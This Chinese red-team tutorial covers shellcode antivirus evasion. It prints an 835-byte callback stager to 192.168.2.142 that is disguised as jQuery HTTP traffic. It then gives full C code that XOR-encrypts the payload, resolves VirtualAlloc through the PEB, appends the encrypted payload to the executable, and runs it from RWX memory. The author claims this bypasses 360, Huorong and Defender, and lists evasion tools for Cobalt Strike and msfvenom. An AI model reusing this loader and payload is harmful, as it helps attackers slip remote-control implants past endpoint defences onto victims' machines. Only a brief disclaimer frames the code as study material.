本篇为红队渗透手册系列的第五篇,刚上车的同学可以先温习一下前四篇:
本文主要介绍shellcode免杀技术,通过网上相关文章的参考和自己的一点理解,现将免杀测试效果最好的方案分享给大家,供大家学习参考。(本文仅供参考学习,严禁用于其他用途,若造成不良影响的,由使用者本人承担一切后果。)
目前的反病毒安全软件,查杀方式有三种:1.基于特征,2.基于行为,3.基于云查杀。云查杀的特点基本也可以概括为特征查杀。无论是哪种防病毒软件,都是特别针对PE头文件进行查杀,当代码中的payload越大的时候,越容易被查杀出特征。
shellcode.c
/* length: 835 bytes */unsigned char shellcode[] ="\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7""\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1""\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59""\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x6e\x65\x74\x00\x68\x77\x69\x6e\x69\x54\x68\x4c\x77\x26\x07\xff\xd5\xe8\x00\x00\x00\x00\x31\xff\x57\x57\x57\x57\x57\x68\x3a""\x56\x79\xa7\xff\xd5\xe9\xa4\x00\x00\x00\x5b\x31\xc9\x51\x51\x6a\x03\x51\x51\x68\xbb\x01\x00\x00\x53\x50\x68\x57\x89\x9f\xc6\xff\xd5\x50\xe9\x8c\x00\x00\x00\x5b\x31\xd2\x52\x68""\x00\x32\xc0\x84\x52\x52\x52\x53\x52\x50\x68\xeb\x55\x2e\x3b\xff\xd5\x89\xc6\x83\xc3\x50\x68\x80\x33\x00\x00\x89\xe0\x6a\x04\x50\x6a\x1f\x56\x68\x75\x46\x9e\x86\xff\xd5\x5f\x31""\xff\x57\x57\x6a\xff\x53\x56\x68\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x84\xca\x01\x00\x00\x31\xff\x85\xf6\x74\x04\x89\xf9\xeb\x09\x68\xaa\xc5\xe2\x5d\xff\xd5\x89\xc1\x68\x45\x21""\x5e\x31\xff\xd5\x31\xff\x57\x6a\x07\x51\x56\x50\x68\xb7\x57\xe0\x0b\xff\xd5\xbf\x00\x2f\x00\x00\x39\xc7\x75\x07\x58\x50\xe9\x7b\xff\xff\xff\x31\xff\xe9\x91\x01\x00\x00\xe9\xc9""\x01\x00\x00\xe8\x6f\xff\xff\xff\x2f\x6a\x71\x75\x65\x72\x79\x2d\x33\x2e\x33\x2e\x31\x2e\x73\x6c\x69\x6d\x2e\x6d\x69\x6e\x2e\x6a\x73\x00\xd8\x96\x4b\x1e\xf7\x00\xc9\x68\xb1\x17""\xc1\xf6\x3f\xaa\xda\x52\xb1\x04\xdd\x6b\xc0\xaa\x03\x65\x86\x62\x73\x32\x0c\x93\x3d\x3e\xed\xec\x4a\x29\xd9\x0f\xa3\xf3\x90\x3a\x6e\xea\x18\x47\x90\x41\x93\x9b\x55\xc5\x11\x00""\x41\x63\x63\x65\x70\x74\x3a\x20\x74\x65\x78\x74\x2f\x68\x74\x6d\x6c\x2c\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x2f\x78\x68\x74\x6d\x6c\x2b\x78\x6d\x6c\x2c\x61\x70\x70\x6c""\x69\x63\x61\x74\x69\x6f\x6e\x2f\x78\x6d\x6c\x3b\x71\x3d\x30\x2e\x39\x2c\x2a\x2f\x2a\x3b\x71\x3d\x30\x2e\x38\x0d\x0a\x41\x63\x63\x65\x70\x74\x2d\x4c\x61\x6e\x67\x75\x61\x67\x65""\x3a\x20\x65\x6e\x2d\x55\x53\x2c\x65\x6e\x3b\x71\x3d\x30\x2e\x35\x0d\x0a\x48\x6f\x73\x74\x3a\x20\x63\x6f\x64\x65\x2e\x6a\x71\x75\x65\x72\x79\x2e\x63\x6f\x6d\x0d\x0a\x52\x65\x66""\x65\x72\x65\x72\x3a\x20\x68\x74\x74\x70\x3a\x2f\x2f\x63\x6f\x64\x65\x2e\x6a\x71\x75\x65\x72\x79\x2e\x63\x6f\x6d\x2f\x0d\x0a\x41\x63\x63\x65\x70\x74\x2d\x45\x6e\x63\x6f\x64\x69""\x6e\x67\x3a\x20\x67\x7a\x69\x70\x2c\x20\x64\x65\x66\x6c\x61\x74\x65\x0d\x0a\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20\x28""\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x36\x2e\x33\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x37\x2e\x30\x3b\x20\x72\x76\x3a\x31\x31\x2e\x30\x29\x20\x6c\x69\x6b\x65\x20\x47""\x65\x63\x6b\x6f\x0d\x0a\x00\x3c\x55\xe2\xa3\xea\xde\xc7\x0c\xc6\x47\xc6\xf5\x0e\x72\x7b\xcc\x99\x68\x10\xd8\x1c\x47\xcf\xa2\xb2\xb5\x46\xe9\x89\xf4\xd5\xb2\x00\x68\xf0\xb5\xa2""\x56\xff\xd5\x6a\x40\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00\x57\x68\x58\xa4\x53\xe5\xff\xd5\x93\xb9\xaf\x0f\x00\x00\x01\xd9\x51\x53\x89\xe7\x57\x68\x00\x20\x00\x00\x53\x56\x68""\x12\x96\x89\xe2\xff\xd5\x85\xc0\x74\xc6\x8b\x07\x01\xc3\x85\xc0\x75\xe5\x58\xc3\xe8\x89\xfd\xff\xff\x31\x39\x32\x2e\x31\x36\x38\x2e\x32\x2e\x31\x34\x32\x00\x6f\xaa\x51\xc3";
void encrypt(){int size = sizeof(shellcode);unsigned char encryptedShellcode[sizeof(shellcode)];unsigned char key[] = "shuidisec";printf("原始shellcode:\r\n");for (int i = 0; i < size; i++){printf("\\x%0.2x", shellcode[i]);}printf("\n");//加密int j = 0;for (int i = 0; i < size; i++){if (j == sizeof(key)){j = 0;}encryptedShellcode[i] = shellcode[i] ^ key[j];j++;}//加密后数据printf("加密后数据\r\n");for (int i = 0; i < size; i++){printf("\\x%0.2x", encryptedShellcode[i]);}printf("\n");//解密unsigned char decryptshellcode[sizeof(encryptedShellcode)];j = 0;for (int i = 0; i < size; i++){if (j == sizeof(key)){j = 0;}decryptshellcode[i] = encryptedShellcode[i] ^ key[j];j++;}//解密后数据printf("解密后数据\r\n");for (int i = 0; i < size; i++){printf("\\x%0.2x", decryptshellcode[i]);}printf("\n");}
/*获取kernel32.dll的基地址因为vc程序main函数之前会有初始化,所以不能通过堆栈栈顶值获取kernel32.dll中的地址因此通过 PEB 结构获取Kernel32.dll基址部分代码来自看雪论坛*/#define PTCHAR char*DWORD _getKernelBase(){DWORD dwPEB;DWORD dwLDR;DWORD dwInitList;DWORD dwDllBase;//当前地址PIMAGE_DOS_HEADER pImageDosHeader;//指向DOS头的指针PIMAGE_NT_HEADERS pImageNtHeaders;//指向NT头的指针DWORD dwVirtualAddress;//导出表偏移地址PIMAGE_EXPORT_DIRECTORY pImageExportDirectory;//指向导出表的指针PTCHAR lpName;//指向dll名字的指针TCHAR szKernel32[] = TEXT("KERNEL32.dll");__asm{mov eax, FS:[0x30]//获取PEB所在地址mov dwPEB, eax}dwLDR = *(PDWORD)(dwPEB + 0xc);//获取PEB_LDR_DATA 结构指针dwInitList = *(PDWORD)(dwLDR + 0x1c);//获取InInitializationOrderModuleList 链表头//第一个LDR_MODULE节点InInitializationOrderModuleList成员的指针for (;dwDllBase = *(PDWORD)(dwInitList + 8);//结构偏移0x8处存放模块基址dwInitList = *(PDWORD)dwInitList//结构偏移0处存放下一模块结构的指针){pImageDosHeader = (PIMAGE_DOS_HEADER)dwDllBase;pImageNtHeaders = (PIMAGE_NT_HEADERS)(dwDllBase + pImageDosHeader->e_lfanew);dwVirtualAddress = pImageNtHeaders->OptionalHeader.DataDirectory[0].VirtualAddress;//导出表偏移pImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(dwDllBase + dwVirtualAddress);//导出表地址lpName = (PTCHAR)(dwDllBase + pImageExportDirectory->Name);//dll名字if (strlen(lpName) == 0xc && !strcmp(lpName, szKernel32))//判断是否为“KERNEL32.dll”{return dwDllBase;}}return 0;}/*获取指定字符串的API函数的调用地址入口参数:_hModule为动态链接库的基址_lpApi为API函数名的首址出口参数:eax为函数在虚拟地址空间中的真实地址*/DWORD _getApi(DWORD _hModule, PTCHAR _lpApi){DWORD i;DWORD dwLen;PIMAGE_DOS_HEADER pImageDosHeader;//指向DOS头的指针PIMAGE_NT_HEADERS pImageNtHeaders;//指向NT头的指针DWORD dwVirtualAddress;//导出表偏移地址PIMAGE_EXPORT_DIRECTORY pImageExportDirectory;//指向导出表的指针TCHAR** lpAddressOfNames;PWORD lpAddressOfNameOrdinals;//计算API字符串的长度for (i = 0; _lpApi[i]; ++i);dwLen = i;pImageDosHeader = (PIMAGE_DOS_HEADER)_hModule;pImageNtHeaders = (PIMAGE_NT_HEADERS)(_hModule + pImageDosHeader->e_lfanew);dwVirtualAddress = pImageNtHeaders->OptionalHeader.DataDirectory[0].VirtualAddress;//导出表偏移pImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(_hModule + dwVirtualAddress);//导出表地址lpAddressOfNames = (TCHAR**)(_hModule + pImageExportDirectory->AddressOfNames);//按名字导出函数列表for (i = 0; _hModule + lpAddressOfNames[i]; ++i){if (strlen(_hModule + lpAddressOfNames[i]) == dwLen &&!strcmp(_hModule + lpAddressOfNames[i], _lpApi))//判断是否为_lpApi{lpAddressOfNameOrdinals = (PWORD)(_hModule + pImageExportDirectory->AddressOfNameOrdinals);//按名字导出函数索引列表return _hModule + ((PDWORD)(_hModule + pImageExportDirectory->AddressOfFunctions))[lpAddressOfNameOrdinals[i]];//根据函数索引找到函数地址}}return 0;}
当把encryptedShellcode放在源码中,按照正常流程:解密->动态加载并执行shellcode方式进行编译后,在真实环境测试下,虽能通过360、火绒、安全管家查杀,但无法通过defender查杀。(篇幅问题,这种情况不再展示,而且下面给大家整理的参考文章中有相关内容,大家自行测试)
在编译程序时,通过从文件固定位置读取encryptedShellcode到内存再进行处理,达到绕过defender查杀。
流程如下:
a. 根据encryptedShellcode的大小,编写main函数中的执行处理流程,并编译成ConsoleApplication2.exe可执行程序
b. 查看ConsoleApplication2.exe大小,定位到文件末尾偏移,修改代码中的fseek的文件偏移
c. 再次编译,文件末尾偏移不变,将encryptedShellcode复制到文件末尾
d. 执行,方可绕过defender查杀
实现代码:
int main(){//encrypt();//while (1);unsigned char* encryptedShellcode = NULL;unsigned char decryptedShellcode[0x344] = {0};//从文件中读取加密后的shellcodeFILE * fp = fopen("./ConsoleApplication2.exe", "rb");if (!fp){perror("error ");return 2;}int size = 0x344;//encryptedShellcode sizefseek(fp, 0x2A00, SEEK_SET);// 0x2A00 encryptedShellcode 在文件中的偏移位置encryptedShellcode = (unsigned char *)malloc(0x344);if (NULL == encryptedShellcode){printf("malloc failed!\n");return 0;}int readcount = fread(encryptedShellcode, 1, size, fp);for (int i = 0; i < size; i++){printf("\\x%0.2x", encryptedShellcode[i]);}fclose(fp);printf("readcount : %p", readcount);//解密shellcodeunsigned char key[] = "shuidisec";int j = 0;for (int i = 0; i < size; i++) {if (j == sizeof(key)){j = 0;}decryptedShellcode[i] = encryptedShellcode[i] ^ key[j];j++;}//解密后数据printf("解密后数据\r\n");for (int i = 0; i < size; i++){printf("\\x%0.2x", decryptedShellcode[i]);}//动态加载并执行shellcodeTCHAR szVirAlloc[] = TEXT("VirtualAlloc");typedef LPVOID(WINAPI* VirtualAllocB)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);VirtualAllocB p = (VirtualAllocB)_getApi(_getKernelBase(), szVirAlloc);char* a = (char*)(*p)(NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);memcpy(a, decryptedShellcode, size);(*(void(*)())a)();return 0;}
1. windows7 环境:过360、火绒、安全管家检测
2. windows10:过defender检测
对于shellcode免杀,方法不一,本文通过多种方式测试,最终给家展示本环境下测试效果最好的方式,此方法绕过了360、火绒、安全管家、defender等检查;本文参考借鉴了网上一些大佬的文章,也添加了自己的一些技巧,希望能给大家有所帮助。
下文为大家整理了一些资料,整理的可能不全面,不足之处请见谅。
1. 使用MSF生成shellcode,然后借助第三方工具直接加载内存,避免行为
推荐文:
shellcode加载总结:https://uknowsec.cn/posts/notes/shellcode加载总结.html
shellcode免杀总结:https://xz.aliyun.com/t/7170
shellcode加载工具:https://github.com/clinicallyinane/shellcode_launcher
shellcode编码工具:https://github.com/ecx86/shellcode_encoder
2. 分离免杀与加密混淆方式
分离免杀是将 shellcode 和 loader 分成两个不同的文件,或者 loader 是文件,shellcode 是流。
推荐文:
shellcode免杀:https://mp.weixin.qq.com/s/MpwpfSMxJl-1bACfXIWG9g
shellcode分离免杀:https://cuokon.github.io/2019/08/02/shellcode分离免杀/
加载混淆的shellcode实现静态免杀:https://saucer-man.com/operation_and_maintenance/465.html
相关工具:
https://github.com/1y0n/AV_Evasion_Tool
https://github.com/1y0n/AV_Evasion_Tool/releases
https://github.com/Mr-Un1k0d3r/DKMC
3. 敏感API替换方式
杀毒软件在进行查杀时,IAT 是查杀的一个重要依据。使用参数相近函数进行敏感函数替换。
4. 内联汇编方式
5. 动态加载方式
6. 注入方式
线程注入、DLL注入、反射DLL注入 RDI
7. Cobalt Strike免杀
cobalt strike:这个是在做红队渗透时用到的一款软件,具有团队协作和生成payload的工具。
利用python免杀cs shellcode:https://cloud.tencent.com/developer/article/1591312
从剖析CS木马生成到开发免杀工具:https://www.anquanke.com/post/id/210001
APT级的全面免杀与企业纵深防御体系的对抗:https://xz.aliyun.com/t/4191
Cobalt Strike C#免杀利用:http://60.205.229.37/2019/11/20/cobalt-strike-c免杀利用/
CS绕过杀软的过程:https://zhuanlan.zhihu.com/p/128884199
免杀工具:
https://www.cnblogs.com/k8gege/p/10261491.html
https://github.com/k8gege/K8tools/raw/master/K8_SC_ENCODE(CobaltStrike%20%26%20Metasploit%20Shellcode%E5%85%8D%E6%9D%80%E5%B7%A5%E5%85%B7).rar
8. msfvenom免杀
Venom和Veil、Shellter是三大老牌免杀工具,免杀主要依靠分离执行和加密混淆等技术,可以和msf无缝对接。
推荐文:
基础篇:https://www.secpulse.com/archives/123295.html
msfvenom隐藏的参数:https://www.secpulse.com/archives/123300.html
msf自带免杀(VT免杀率35/69):https://www.secpulse.com/archives/123315.html
Evasion模块(VT免杀率12/71):https://www.secpulse.com/archives/123339.html
Veil免杀(VT免杀率23/71):https://www.secpulse.com/archives/127186.html
Venom免杀:https://www.secpulse.com/archives/127297.html
Metasploit—msfvenom免杀木马:https://blkwindy.top/2019/07/26/Metasploit——msfvenom免杀木马/
后门木马免杀:https://www.cnblogs.com/-qing-/p/11421735.html
使用msfvenom与veil绕过杀毒软件:https://blog.csdn.net/wyf12138/article/details/79825833
Meterpreter免杀总结:http://carlstar.club/2019/01/04/dig/
远控免杀专题-shellcode免杀实践
https://wemp.app/posts/f26015a3-1057-401e-8680-cbc5d37f977c
远控免杀从入门到实践(8)-shellcode免杀实践
https://www.freebuf.com/articles/system/228233.html
70.远控免杀专题(70)-终结篇
远控免杀从入门到实践-工具总结篇
Mimikatz的18种免杀姿势及防御策略